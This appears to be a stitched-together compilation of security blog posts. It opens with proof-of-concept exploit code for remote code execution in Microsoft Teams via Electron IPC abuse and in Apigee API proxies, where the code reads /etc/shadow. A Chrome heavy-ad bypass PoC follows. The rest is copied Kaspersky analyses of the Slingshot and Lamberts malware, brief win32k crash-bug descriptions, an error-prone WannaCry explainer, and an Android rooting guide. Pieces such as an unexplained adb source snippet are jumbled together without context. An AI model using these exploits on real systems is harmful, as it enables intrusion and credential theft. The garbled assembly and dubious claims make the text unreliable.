cmd = `open /System/Applications/Calculator.app` // change to windows/linux command as required
stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file
// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => {
f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand
// create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload
stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`
this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL
this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload
setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window
}
)
Apigee API proxies code exec
Summary: RCE on Apigee API proxies
Steps to reproduce:
1.- open apigee.com login in with your account
2.- navigate to Develop > API proxies and click “+Proxy” button
3.- select hosted target: – put any name (in this case “rce”) – select “Quick start” radio button and the “Next” button – then “Next” again, and “Next” one more time – – check “prod” checkbox and clic “Create and Deploy” Button – after the deploy, copy the url and clic on “Edit proxy”
4.- select “Develop” tab, then clic the “index.js” file in “Resources > hosted” section, and replace the content of that file with and clic on “Save” and “Save” one more time:
var http = require('http');
const { exec } = require('child_process');
var svr = http.createServer(function(req, resp) {
resp.setHeader('Content-Type', 'application/json');
// you can put any linux command in exec function
exec('echo "- - - - id - - - -";id; echo ;echo "- cat /etc/shadow - ";cat /etc/shadow' ,
(error, stdout, stderr) => {
resp.end(stdout + '\npoc by @omespino');
}
);
});
svr.listen(process.env.PORT || 3000, function() {});adb pull code exec
static bool remote_build_list(SyncConnection& sc, std::vector<copyinfo>* file_list, const std::string& rpath, const std::string& lpath) { std::vector<copyinfo> dirlist; std::vector<copyinfo> linklist; // Add an entry for the current directory to ensure it gets created before pulling its contents. copyinfo ci(android::base::Dirname(lpath), android::base::Dirname(rpath), android::base::Basename(lpath), S_IFDIR); file_list->push_back(ci); // Put the files/dirs in rpath on the lists. auto callback = [&](unsigned mode, uint64_t size, uint64_t time, const char* name) { if (IsDotOrDotDot(name)) { return; } copyinfo ci(lpath, rpath, name, mode); if (S_ISDIR(mode)) { dirlist.push_back(ci); } else if (S_ISLNK(mode)) { linklist.push_back(ci); } else { if (!should_pull_file(ci.mode)) { sc.Warning(“skipping special file ‘%s’ (mode = 0o%o)”, ci.rpath.c_str(), ci.mode); ci.skip = true; } ci.time = time; ci.size = size; file_list->push_back(ci); } }; if (!sync_ls(sc, rpath, callback)) { return false; } // Check each symlink we found to see whether it’s a file or directory. for (copyinfo& link_ci : linklist) { struct stat st; if (!sync_stat_fallback(sc, link_ci.rpath, &st)) { sc.Warning(“stat failed for path %s: %s”, link_ci.rpath.c_str(), strerror(errno)); continue; } if (S_ISDIR(st.st_mode)) { dirlist.emplace_back(std::move(link_ci)); } else { file_list->emplace_back(std::move(link_ci)); } } // Recurse into each directory we found. while (!dirlist.empty()) { copyinfo current = dirlist.back(); dirlist.pop_back(); if (!remote_build_list(sc, file_list, current.rpath, current.lpath)) { return false; } } return true; }
bypass chrome detection mechanism
<html><head><style>* {font-family: 'Helvetica', sans-sarif;}.header {font-size: 1.5rem;font-weight: 700;color: red;}</style></head><body>The frame will now start violating the heavy ad intervention rules, please hold...<p class="header">DO NOT CLICK THIS FRAME!</p><small>Clicking this frame will disable heavy ad intervention on it</small><br/><p>To ensure this is an ad:<ol><li>Open DevTools (Ctrl + Shift + I)</li><li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li><li>Enable `Highlight ad frames`</li></ol>Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.</p><div id="output"></div><script>// Your heavy ad intervention bypass goes here:// alert("Ad loaded - Insert your script in adunit.html");/*This is a very basic polyfill for window.fetch via a shared worker.This works as a drop-in replacement to window.fetch.It currently doesn't handle well errors or multiple simultaneous requests with the same URL,but it works for demo purposes. More robust implementation can be made fairly easily.To debug shared workers, need to use chrome://inspect/#workersDelegated network requests will only appear in the shared worker's DevTools.*/var resolveResponse = {};var sharedWorker = new SharedWorker('shared-worker.js');sharedWorker.port.onmessage = (event) => {if (event.data.fetchUrl && event.data.fetchResponse) {console.info('Response:', event.data.fetchResponse);var response = new Response(event.data.fetchResponse);resolveResponse[event.data.fetchUrl](response);delete resolveResponse[event.data.fetchUrl]; // Save memory, not strictly needed} else {console.warn('Received unexpected message from shared worker');}};var originalFetch = window.fetch; // For easy behavior comparisonwindow.fetch = (fetchUrl) => {// Uncomment line below to see how PoC works with original fetch// return originalFetch(fetchUrl);return new Promise((resolve, reject) => {resolveResponse[fetchUrl] = resolve;// return resolveResponse[fetchUrl](new Response('Test response')); // For development purposessharedWorker.port.postMessage({ fetchUrl: fetchUrl });});}</script><script defer="" type="text/javascript">// Loop download of a 10MB file to trigger heavy ad intervention's network limitfunction download() {// Removed recursive calling, since single resource load will trigger intervention.// Added output for verification purposes.// Using jsdeliver.net or same-origin file does not affect behavior// fetch('./big.bin').then(response => {fetch('https://cdn.jsdelivr.net/gh/ssd-secure-disclosure/challenges/chrome-ad-heavy/big.bin').then(response => {return response.text();}).then(response => {output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';// Feel free to test recursive calling if desired.// download();});}download();</script></body></html>
gads.js
"use strict";const iframe = document.createElement("iframe");iframe.src = "adunit.html";iframe.style = "width: 98vw; height: 60vh";document.body.appendChild(iframe);
shared-worker.js
/* shared-worker.js */// Part of window.fetch polyfill, makes requests on behalf of page.// To debug shared workers, need to use chrome://inspect/#workers// Delegated network requests will only appear in the shared worker's DevTools.self.onconnect = (event) => {var port = event.ports[0];port.onmessage = (event) => {if (event.data.fetchUrl) {var fetchUrl = event.data.fetchUrl;fetch(fetchUrl).then(response => {response.blob().then(blob => {port.postMessage({ fetchUrl: fetchUrl, fetchResponse: blob });});});} else {console.warn('Must send fetchUrl in message.');}}}
index.html
<!-- index.html --><html><head></head><body><p>Hello! This is the main site. </p><p>The ad should be loaded below:</p><script src="gads.js"></script></body></html>
The Slingshot APT – kernel injecting trojan found in the wild by kaspersky
originally taken from her:
https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf
The-Slingshot-APT_report_ENG_final
Ring0 loader This loader is compressed in module_id 0xBF000001. Actually, there might be more than one, so in case the first loader fails, there may be a second loader in the binary with module_id 0xBF000002. At this stage, Slingshot uses its internal logging system actively:
Slingshot checks if there is any kernel-mode payload and any loader available, and then the loaders are run one after the other. Upon starting, this loader gets SeLoadDriverPrivilege for installing malicious drivers into the system that it will later abuse for obtaining kernel privileges. In order to avoid leaving any traces of this activity in system logs, it renames the ETW-logs, and for the Security and System logs adds the .tmp extension. After execution, the loader removes the extensions. The final goal of this module is to load the Cahnadr module (kernel mode main payload, described below) into kernel mode. As previously stated, Slingshot has different ways to load code into kernel mode, each using its own loader. The simplest loader is used for 32-bit systems where Driver Signature Enforcement (DSE), which requires signed drivers, does not apply. This loader simply saves the driver on disk and loads it. When the driver is loaded, the loader shares the malicious payload with it by calling DeviceIoControl with control code 0x222000. This driver receives commands from the user-mode loader via DeviceIoControl. The only available command in this case allows running this code as a WorkItem into the System Worker Threads pool, which is a pool used by legitimate software for running quick tasks
In cases where the operating system supports DSE, the loader exploits a couple of legitimate but vulnerable drivers that allow writing in MSR registers. Successful exploitation of the drivers would allow to set in the MSR_LSTAR register a handler that, after running Sleep, calls Cahnadr
In order to prevent patch protection, the handler restores the original MSR register. This loader leverages the following drivers: 312E31851E0FC2072DBF9A128557D6EF Goad.sys – driver for x86 systems 5F9785E7535F8F602CB294A54962C9E7 SpeedFan.sys – CVE-2007-5633 9a237fa07ce3ed06ea924a9bed4a6b99 Sandra.sys – CVE-2010-1592 978CD6D9666627842340EF774FD9E2AC ElbyCDIO.sys – CVE-2009-0824 It is important to mention that the digital signatures in these drivers are still not revoked. All the drivers above are loaded into the kernel directly by creating the required keys in the registry and calling the ntdll!NtLoadDriver function. The service key name in the registry starts with the PCX* prefix.
Cahnadr – main kernel-mode payload This payload can be considered the main orchestrator, running in kernel mode and providing the necessary capabilities for all the other, user-mode payloads. This component is responsible for different features, including: 1. Anti-debugging actions and checking if the kernel is patched or not 2. Calling system services directly to hide malicious activities 3. Hooks KTHREAD.ServiceTable for threads 4. Rootkit actions for hiding traffic 5. Injecting user-mode payload (main malicious payload) into services.exe 6. Providing malicious API for user-mode modules 7. Providing communications via network 8. Notifying GollumApp payload about process-related events, providing interfaces for manipulating their memory 9. Monitoring all network devices 10. Providing sniffer functionality on the following protocols: ARP, TCP, UDP, DNS, ICMP, HTTP Anti-debug techniques include: • If kernel is already being debugged, it calls KdDisableDebugger() terminating the debugging process • It hooks LiveKd debugger driver’s routines IRP_MJ_CREATE, IRP_MJ_READ, FastIoDeviceControl • Installs notifiers to monitor PsSetLoadImageNotifyRoutine. If the LoadImageNotify event happens when LiveKdD.sys is loaded, the module patches the entry point that leads to error STATUS_FAILED_DRIVER_ENTRY In order to detect if the kernel is patched, it checks the kernel image in memory with the following kernel files on disk: • \\SystemRoot\\system32\\kernel_name • \\SystemRoot\\LastGood\\system32\\kernel_name • \\SystemRoot\\$*\\system32\\kernel_name For newer x32 versions it also checks win32k.sys at the same paths. It is important to note that Cahnadr checks only CheckSum and TimeStamp values for the kernel image in memory. If one of them is different, it means that the kernel was patched, and it terminates its execution. Actually, it needs an unpatched kernel and win32k.sys to get the origin function from KeServiceDescriptorTable and KeServiceDescriptorTableShadow, which will be used to directly interact with system services and hooking the KTHREAD.ServiceTable on x32 systems. In order to hide calls, it can associate system services to some Zw*, Rtl*, Nt* functions. Instead of taking the addresses for these functions from SSDT, Cahnadr extracts them from the kernel image on disk for unpatched kernels. It also implements code to find a function address by its name by comparing exported routines from ntdll and ntoskrnl addresses: if the address of the exported functions is the same as the system service address, it means the address was correctly found. Ntdll.dll exported functions addresses are also taken from the image stored on disk to avoid hooks set by other programs.
Not all functions are mandatory to be found, there is a flag for each of them. All listed routines are used for injecting malicious code into user-mode processes. For newer x32 versions this list was highly extended, adding debug-related functions and functions for suspending and resuming threads and processes. For x32 systems, Cahnadr hooks KTHREAD.ServiceTable. It copies the KeServiceDescriptorTable and KeServiceDescriptorTableShadow, then fills it with the original handlers restored from disk and changes the address in KTHREAD.ServiceTable to pointer to a new structure. This is used to inject threads into user mode: once a component is injected as a separate thread, Cahnadr patches its KTHREAD.ServiceTable with the original handlers in order to hide its malicious functionality and avoid possible installed hooks. Cahnadr also provides the following API functionality: • Direct disk access: read/write by raw-offset, defragmentation ban, etc. These routines are used for working with the virtual file system • Read/write into memory by raw address • Routines for injecting code into a process as a separate thread. It is possible to set the thread state and choose the preferred routine for creating the thread (NtCreateThreadEx or NtCreateThread). For GollumApp it is obligatory to use NtCreateThread • Get the access token by process_id • Get the SERVICE_DESCRIPTOR_TABLE address • Get the DRIVER_OBJECT object pointer by driver name • Get detailed information about processes opened in csrss.exe (start time, time in kernel mode, time in user mode, number of calls ZwRead and ZwWrite, among of data received/sent via ZwRead/ZwWrite) • Get handle for process_1 in process_2. In other words, opens process_1 from process_2. This way process_2 gets the handle of process_1 • Close handle that belongs to any process • Provides network functionality: add a new network-related task, delete an old one, turn on/off a network task, send information about all active network tasks to GollumApp • Hooks the ServiceTable in KTHREAD in the specified thread or process (only on x32), providing: setting/deleting a hook by ThreadID, setting/deleting hook for all threads by PID, checking if thread/process was hooked • Sets time to sleep before shutdown Cahnadr calls PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine routines in order to automate installing hooks. Created processes will be hooked if their parent process was hooked, as will threads if their process was hooked. Shutdown notifications are detected by calling the IoRegisterShutdownNotification routine. When a notification is received, it is sent to GollumApp with the time that GollumApp can spend for completion. While GollumApp works, Cahnadr sleeps. It installs bugcheck notifications by calling the KeRegisterBugCheckReasonCallback routine. When a notification is received it calls KeBugCheck with the undocumented POWER_FAILURE_SIMULATE parameter, which is a way to reboot from kernel mode without BSOD and crush dump. This way, in case a fatal error occurs, Cahnadr reboots the system without creating a memory dump on disk. The communication between kernel and user mode modules is implemented in different ways for x32 and x64 components. In x64 components Cahnadr sets IRP-requests handlers for the ‘null.sys’ driver. Each handler contains a ‘jmp’ operation to the malicious code located in the ‘null.sys’ image in memory. This is how hooks are typically set in this APT, making them harder to detect.
However malicious and legitimate IRP-handlers have a conflicting component, as both null.sys and Cahnadr can process requests to IRP-MJ-CLOSE. That’s why only one hook and three ordinary handlers are set. After that, user mode modules can send data to Cahnadr by calling CreateFile(\\\\.\\NUL, …) + DeviceIoControl. In x32 components another approach was used. Cahnadr registers a RegistryCallback routine by calling CmRegisterCallback to monitor all operations in the registry. When any user mode module sends something to Cahnadr it sets the ArbitraryUserPointer field of the TIB pointer to the related data, starting with 0x2BADDOOD, and then calls RegEnumKeyW which triggers the kernel mode callback..
Cahnadr hooks the following routines in order to hide its traffic, perform different tasks and provide additional functionality for the user mode components: • ndis!NdisMSendNetBufferListsComplete • ndis!NdisMIndicateReceiveNetBufferLists These routines are callbacks run by network drivers to notify handlers with all data sent or received. The function lists in PNET_BUFFER_LIST all packets and their related event. Cahnadr checks if there are Slingshot-related packets in this list, and if so, removes them. Let´s explain this in more detail: The trick is that all the malware is allocated to a particular pool that allows discriminating it from other benign calls. NdisAllocateNetBufferListPool creates NET_BUFFER_LIST, that is initialized calling NdisAllocateNetBufferAndNetBufferList. When the network driver sends data, it gets into such a NET_BUFFER structure, which in turn, gets into NET_BUFFER_LIST. The callbacks routine NdisMSendNetBufferListsComplete, that gets the NET_BUFFER_LISTs with data successfully sent, is hooked. Malware simply checks if any entry in NET_BUFFER_LIST was allocated from the malware pool and, if so, will simply not return it to the original handler. This sniffer has a list of tasks, each one associated with a list of handlers. Inbound and outbound packets are examined and passed to the appropriate task’s processor, which calls all handlers associated with the task. The result determines whether malware should hide the package. We have seen three types of task: HTTP: This is the only handler that notifies GollumApp (user mode payload, described below) that HTTP data is being transferred. ARPf: (two handlers for this type). The first one notifies GollumApp when an ARP-request is received and/or when an ARP-response is sent. The second one stores this information in its internal storage, collecting information about the network structure. This task is enabled by default. IP2f: (two handlers of this type). The first one checks if the package comes from the malware operators, only to decide whether the package should be hidden. This is decided by XORing two Timestamps values from the Options field in the TCP-header (RFC1323, code 0x080A). If the result is equal to 0xDEADFOOD then this package should be hidden. The second one notifies GollumApp that some TCP/UDP or ICMP packets that suit malicious filters were found. For instance, for TPC traffic this filter uses the same described XOR procedure with the constant 0xDADAE000, sending GollumApp the seqNumber, askNumber and src port values. For UDP, packets with a length of 0x55 bytes containing DNS responses, it checks that the field dns.Identifier equals 0x212. In that case, the packet is hidden and GollumApp is notified with the resolved IP and TTL of the packet. For ICMP, packets containing the «Destination port unreachable» error it checks that the overlying protocol contains the constant 0xE17F (57727). In that case, GollumApp is notified with ip.Destination, ip.identification, ip.length. This task is enabled by default. The malware identifies HTTP traffic by checking the ASK flag in TCP protocol, and by finding the HTTP signature in the TCP package body. This task is disabled by default, however GollumApp can enable it. Additionally, this kernel mode module provides the following functionality for user mode components: • ARP-query: obtains the MAC-address for a specified IP address. Requires network interface as a parameter • ARP-reply: sends its own MAC address as a response to a specified ARP-request, regardless of whether the IP from the request and the infected computer are the same or not • Sends custom network package, where all fields can be customized from the Ethernet-layer • Sends custom IPV4 package Cahnadr supports IEEE 802.11 standard, allowing it to operate with WiFi frames. Network interfaces are traced using Plug-and-Play notifications with EventCategory – PNPNOTIFY_DEVICE_INTERFACE_INCLUDE_EXISTING_INTERFACES. When a network interface change event happens, all hooks listed above apply and Cahnadr checks the category of the new interface (bridge/wan/lan). Depending on the type of interface, it gets different data that is written in thee malware´s storage: • Ethernet: MAC-address and maximum frame size • Wireless (802.11) Access Point MAC-address and authentication state
Lamberts Toolkit – kernel injecting trojan was found in the wild by kaspersky (from securelist.com)
post originally taken from here: https://securelist.com/unraveling-the-lamberts-toolkit/77990/
Yesterday, our colleagues from Symantec published their analysis of Longhorn, an advanced threat actor that can be easily compared with Regin, ProjectSauron, Equation or Duqu2 in terms of its complexity.
Longhorn, which we internally refer to as “The Lamberts”, first came to the attention of the ITSec community in 2014, when our colleagues from FireEye discovered an attack using a zero day vulnerability (CVE-2014-4148). The attack leveraged malware we called ‘BlackLambert’, which was used to target a high profile organization in Europe.
Since at least 2008, The Lamberts have used multiple sophisticated attack tools against high-profile victims. Their arsenal includes network-driven backdoors, several generations of modular backdoors, harvesting tools, and wipers. Versions for both Windows and OSX are known at this time, with the latest samples created in 2016.
Although the operational security displayed by actors using the Lamberts toolkit is very good, one sample includes a PDB path that points to a project named “Archan~1” (perhaps ‘Archangel’). The root folder on the PDB path is named “Hudson”. This is one of the very few mistakes we’ve seen with this threat actor.
While in most cases the infection vector remains unknown, the high profile attack from 2014 used a very complex Windows TTF zero-day exploit (CVE-2014-4148).
Kaspersky Lab products successfully detect and eradicate all the known malware from the Lamberts family. For more information please contact: intelreports@kasperskycom
An Overview of the Lamberts
Figure 1. Lamberts discovery timeline
The first time the Lambert family malware was uncovered publicly was in October 2014, when FireEye posted a blog about a zero day exploit (CVE-2014-4148) used in the wild. The vulnerability was patched by Microsoft at the same time. We named the malware involved ‘Black Lambert’ and described it thoroughly in a private report, available to Kaspersky APT Intel Reports subscribers.
The authors of Black Lambert included a couple of very interesting details in the sample, which read as the following: toolType=wl, build=132914, versionName = 2.0.0. Looking for similar samples, we were able to identify another generation of related tools which we called White Lambert. While Black Lambert connects directly to its C&C for instructions, White Lambert is a fully passive, network-driven backdoor.
| Black Lambert | White Lambert | |
| Implant type | Active | Passive |
| toolType | wl | aa (“ArchAngel”) |
| build | 132914 | 113140 |
| versionName | 2.0.0 | 5.0.2 |
Internal configuration similarities in Black and White Lambert
White Lambert runs in kernel mode and intercepts network traffic on infected machines. It decrypts packets crafted in a special format to extract instructions. We named these passive backdoors ‘White Lambert’ to contrast with the active “Black Lambert” implants.
Looking further for any other malware related to White Lambert and Black Lambert, we came by another generation of malware that we called Blue Lambert.
One of the Blue Lambert samples is interesting because it appears to have been used as second stage malware in a high profile attack, which involved the Black Lambert malware.
Looking further for malware similar to Blue Lambert, we came by another family of malware we called Green Lambert. Green Lambert is a lighter, more reliable, but older version of Blue Lambert. Interestingly, while most Blue Lambert variants have version numbers in the range of 2.x, Green Lambert is mostly in 3.x versions. This stands in opposition to the data gathered from export timestamps and C&C domain activity that points to Green Lambert being considerably older than the Blue variant. Perhaps both Blue and Green Lamberts have been developed in parallel by two different teams working under the same umbrella, as normal software version iterations, with one seeing earlier deployment than the other.
Signatures created for Green Lambert (Windows) have also triggered on an OS X variant of Green Lambert, with a very low version number: 1.2.0. This was uploaded to a multiscanner service in September 2014. The OS X variant of Green Lambert is in many regards functionally identical to the Windows version, however it misses certain functionality such as running plugins directly in memory.
Kaspersky Lab detections for Blue, Black, and Green Lamberts have been triggered by a relatively small set of victims from around the world. While investigating one of these infections involving White Lambert (network-driven implant) and Blue Lambert (active implant), we found yet another family of tools that appear to be related. We called this new family Pink Lambert.
The Pink Lambert toolset includes a beaconing implant, a USB-harvesting module and a multi-platform orchestrator framework which can be used to create OS-independent malware. Versions of this particular orchestrator were found on other victims, together with White Lambert samples, indicating a close relationship between the White and Pink Lambert malware families.
By looking further for other undetected malware on victims of White Lambert, we found yet another apparently related family. The new family, which we called Gray Lambert is the latest iteration of the passive network tools from the Lamberts’ arsenal. The coding style of Gray Lambert is similar to the Pink Lambert USB-harvesting module, however, the functionality mirrors that of White Lambert. Compared to White Lambert, Gray Lambert runs in user mode, without the need for exploiting a vulnerable signed driver to load arbitrary code on 64-bit Windows variants.
Connecting all these different families by shared code, data formats, C&C servers, and victims, we have arrived at the following overarching picture:
Figure 2. An overview of connections between the Lambert families
The Lamberts in Brief – from Black to Gray
Below, we provide a small summary of all the Lamberts. A full description of all variants is available to subscribers of Kaspersky APT Reports. Contact intelreports@kaspersky.com
Black Lambert
The only known sample of Black Lambert was dropped by a TTF-exploit zero day (CVE-2014-4148). Its internal configuration included a proxy server which suggests the malware was created to work in a very specific network configuration, inside the victim’s network.
An internal description of Black Lambert indicates what appears to be a set of markers used by the attackers to denote this particular branch: toolType=wl, build=132914, versionName = 2.0.0.
| Hash | Description |
| 683afdef710bf3c96d42e6d9e7275130 | generic loader (hdmsvc.exe) |
| 79e263f78e69110c09642bbb30f09ace | winlib.dll, final payload (toolType=wl) |
Blue Lambert
The Blue Lambert implants contain what appear to be version numbers in the 2.x range, together with project/operation codename sets, which may also indicate codenames for the victims or campaigns.
Figure 4. Blue Lambert configuration in decrypted form, highlighting internal codenames
Known codenames include TRUE CRIME (2.2.0.2), CERVELO YARDBIRD (2.6.1.1), GAI SHU (2.2.0.5), DOUBLESIDED SCOOBYSNACK (2.3.0.2), FUNNELCAKE CARNIVAL (2.5.0.2), PROSPER SPOCK (2.0.0.2), RINGTOSS CARNIVAL (2.4.2.2), COD FISH (2.2.0.0), and INVERTED SHOT (2.6.2.3).
Green Lambert
Green Lambert is a family of tools deeply related to Blue Lambert. The functionality is very similar, both Blue and Green are active implants. The configuration data shares the same style of codenames for victims, operations, or projects.
Figure 5. Green Lambert configuration block (decrypted) highlighting internal codenames
The Green Lambert family is the only one where non-Windows variants have been found. An old version of Green Lambert, compiled for OS X was uploaded from Russia to a multiscanner service in 2014. Its internal codename is HO BO (1.2.0).
The Windows versions of Green Lambert have the following code names: BEARD BLUE (2.7.1), GORDON FLASH (3.0), APE ESCAPE (3.0.2), SPOCK LOGICAL (3.0.2), PIZZA ASSAULT (3.0.5), and SNOW BLOWER (3.0.5).
Interestingly, one of the droppers of Green Lambert abused an ICS software package named “Subway Environmental Simulation Program” or “SES”, which has been available on certain forums visited by engineers working with industrial software. Similar techniques have been observed in the past from other threat groups, for instance, trojanized Oracle installers by the Equation group.
White Lambert
White Lambert is a family of tools that share the same internal description as Black Lambert. Known tool types, builds, and version names include:
- ToolType “aa”, protocol 3, version 7, versionName 5.0.2, build 113140
- ToolType “aa”, protocol 3, version 7, versionName 5.0.0, build 113140
- ToolType “aa”, protocol 3, version 6, versionName 4.2.0, build 110836M
- ToolType “aa”, protocol 3, version 5, versionName 3.2.0
One of the White Lambert samples is interesting because it has a forgotten PDB path inside, which points to “Archan~1l” and “Hudson”. Hudson could point to a project name, if the authors name their projects by rivers in the US, or, it could also be the developer’s first name. The truncated (8.3) path “archan~1” most likely means “Archangel”. The tool type “aa” could also suggest “ArchAngel”. By comparison, the Black Lambert tool type “wl” has no known meaning.
White Lambert samples run in kernel mode and sniff network traffic looking for special packets containing instructions to execute. To run unsigned code in kernel mode on 64-bit Windows, White Lambert uses an exploit against a signed, legitimate SiSoftware Sandra driver. The same method was used before by Turla, ProjectSauron, and Equation’s Grayfish, with other known, legitimate drivers.
Pink Lambert
Pink Lambert is a suite of tools initially discovered on a White Lambert victim. It includes a beaconing implant, partially based on publicly available source code. The source code on top of which Pink Lambert’s beaconing implant was created is “A Fully Featured Windows HTTP Wrapper in C++”.
Figure 6. “A Fully Featured Windows HTTP Wrapper” by shicheng
Other tools in the Pink Lambert suite include USB stealer modules and a very complex multi-platform orchestrator.
In a second incident, a Pink Lambert orchestrator was found on another White Lambert victim, substantiating the connection between the Pink and White Lamberts.
Gray Lambert
Gray Lambert is the most recent tool in the Lamberts’ arsenal. It is a network-driven backdoor, similar in functionality to White Lambert. Unlike White Lambert, which runs in kernel mode, Gray Lambert is a user-mode implant. The compilation and coding style of Gray Lambert is similar to the Pink Lambert USB stealers. Gray Lambert initially appeared on the computers of victims infected by White Lambert, which could suggest the authors were upgrading White Lambert infections to Gray. This migration activity was last observed in October 2016.
Some of the known filenames for Gray Lambert are mwapi32.dll and poolstr.dll – it should be pointed though that the filenames used by the Lamberts are generally unique and have never been used twice.
Timeline
Most of the Blue and Green Lambert samples have two C&C servers hardcoded in their configuration block: a hostname and an IP address. Using our own pDNS as well as DomainTools IP history, we plotted the times when the C&C servers were active and pointing to the same IP address as the one from the configuration block.
Unfortunately, this method doesn’t work for all samples, since some of them don’t have a domain for C&C. Additionally, in some cases we couldn’t find any pDNS information for the hostname configured in the malware.
Luckily, the attackers have made a few mistakes, which allow us to identify the activity times for most of the other samples. For instance, in case when no pDNS information was available for a subdomain on top of the main C&C domain, the domain registration dates were sufficient to point out when the activity began. Additionally, in some cases the top domain pointed to the same IP address as the one from the configuration file, allowing us to identify the activity times.
Another worthwhile analysis method focuses on the set of Blue Lambert samples that have exports. Although most compilation timestamps in the PE header appear to have been tampered (to reflect a 2003-2004 range), the authors forgot to alter the timestamps in the export section. This allowed us to identify not just the activity / compilation timestamps, but also the method used for faking the compilation timestamps in the PE header.
It seems the algorithm used to tamper with the samples was the following: subtract 0x10 from the highest byte of timestamp (which amounts to about 8 and half years) and then randomize the lowest 3 bytes. This way we conclude that for Blue Lamberts, that original compilation time of samples was in the range of 2012-2015.
Putting together all the various families, with recovered activity times, we come to the following picture:
Figure 8. A timeline of activity for known Lamberts
As it can be seen from the chart above, Green Lambert is the oldest and longest-running in the family, while Gray is the newest. White, Blue and Pink somehow overlap in deployment, with Blue replacing Green Lambert. Black Lambert was seen only briefly and we assume it was “retired” from the arsenal after being discovered by FireEye in 2014.
win32k system crash bug
this bug is in win32k.sys
you can see an interesting race condition in the win32k driver causing the system to crash.
The bug is in the locking mechanism of in the DirectComposition object.
If you call NtDCompositionDiscardFrame in a loop while calling NtDCompositionDestroyConnection and DiscardAllCompositionFrames in a loop it will cause a crash in the operating system.
I WANNA CRYYY
What is WannaCry ?
Wanna Cry, also known as WannaCrypt, WannaCryptor, and WannaDecryptor, is a type of ransomware. Ransomware is a malicious software that will seal your device (PC, tablet or mobile), infect your files and display a message demanding for ransom. The affected users are asked to pay the ransom amount via Bitcoin or similar payment modes. Following the payment, the files will be released, however, failure to pay the amount will result in damage of data that can’t be repaired. On the other hand, paying the ransom doesn’t ensure retrieval of an encrypted data.
The mode of attack implemented by ransomware includes infecting targets through traditional methods. This comprises of phishing, identity theft, malicious emails, and dodgy attachments. Once the PC has been infected with the malware, the software code checks the system for additional targets through networks and infects the new found victims.
What does WannaCry ransomware do?
There are different kinds of ransomware that might affect your Windows OS but all of them will lock your PC and prevent you from using it normally. In order to restore it to a normal state, the malicious software will demand of something in the form of ransom.
The malware targets any users with Windows OS installed in their home computer or workplace and servers used by a government agency or healthcare department.
Ransomware can:
- Encrypt files so you can’t access them.
- Prevent you from accessing your Windows system.
- Stops the running of certain apps like your web browser.
Windows OS affected by ransomware
Windows OS that are older and not updated are more vulnerable to be attacked by this particular malware. The following Windows operating systems are named to be more affected by ransomware:
- Windows 8
- Windows XP
- Windows Server 2003
However, if you have installed the latest version of Windows or you are regular on updating your system, the PC is less likely to be infected by the WannaCry ransomware. Listed are a few of the OS that are less susceptible to get infected:
- Windows 10
- Windows 8.1
- Windows 7
- Windows Vista
- Windows Server 2008
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
If the recent version of these listed Windows OS have not been updated in a timely manner, there are still high chances of being a target.
But, if your device runs on MacOS, ChromeOS or Linux or mobile operating systems like iOS and Android, you need not worry about this specific threat.
Note: The new tool named WanaKiwi is “able” to decrypt the data locked by ransom software, works on both Windows 2008, 7, XP and Vista, and has been proven effective by some security companies.
Windows 7 kernel stack overflow bug
I played in my fuzzing infrastructure with windows objects. And I found a cool bug type. by creating multiple threads and accessed and destroying windows and threads during the access to the windows and during callback of windows object functions . My Fuzzer accessed and released the window object of thread1 from thread2 or destroy the windows object of thread2 from thread 3 etc.
I Found a stack overflow bug in the windows kernel. that causes the operating system to crash. There is a race in win32k!xxxMoveWindow. if you pass messages between two threads until the stack capacity is at its max, than you close one of the treads it will cause a WM_NCCALCSIZE to be written to the kernel stack of the other thread. This will cause a stack overflow in the kernel.
TIME TRAVEL: 2013 – GeoHot Release ActiveRoot To Easily Root The Samsung Galaxy S4 [How To]
Hacker GeoHot is known for jumping around various hacking scenes. He first started off working with iOS releasing numerous Jailbreaks, then transitioned into hacking the PlayStation and now it looks like he is getting into creating Android roots.
According to a thread on the XDA Developer Forums GeoHot has released a root as a single .apk file. Usually rooting is a little bit more complicated of a process compared to Jailbreaking, but with this ‘active’ root for the Galaxy S4 users simply need to install the .apk file and their device will become rooted.
GeoHot is calling the tool ActiveRoot and it is available to download for free from the official ActiveRoot website. The steps for using ActiveRoot to root your Galaxy S4 are simple.
- First go to Settings and click the “More” tab. Then go into security and check “Unknown Sources.”
- Next enable USB Debugging. Go to Settings and click on the “More” tab. Go into “About device.” Rapidly click on “Build number” until it it tells you that you have enabled developer options. Then go back and and Developer Options now appear in the “More” tab. Go in and check “USB Debugging.”
- Visit http://geohot.com/activeroot from your device and click the lampda picture to download the apk file.
- Run the apk. It should give you a message telling you that you have root.
- Visit the Play Store and download the Super User app of your choice (such as SuperSU).
Let us know if you were able to use ActiveRoot to root your Galaxy S4 in the comments.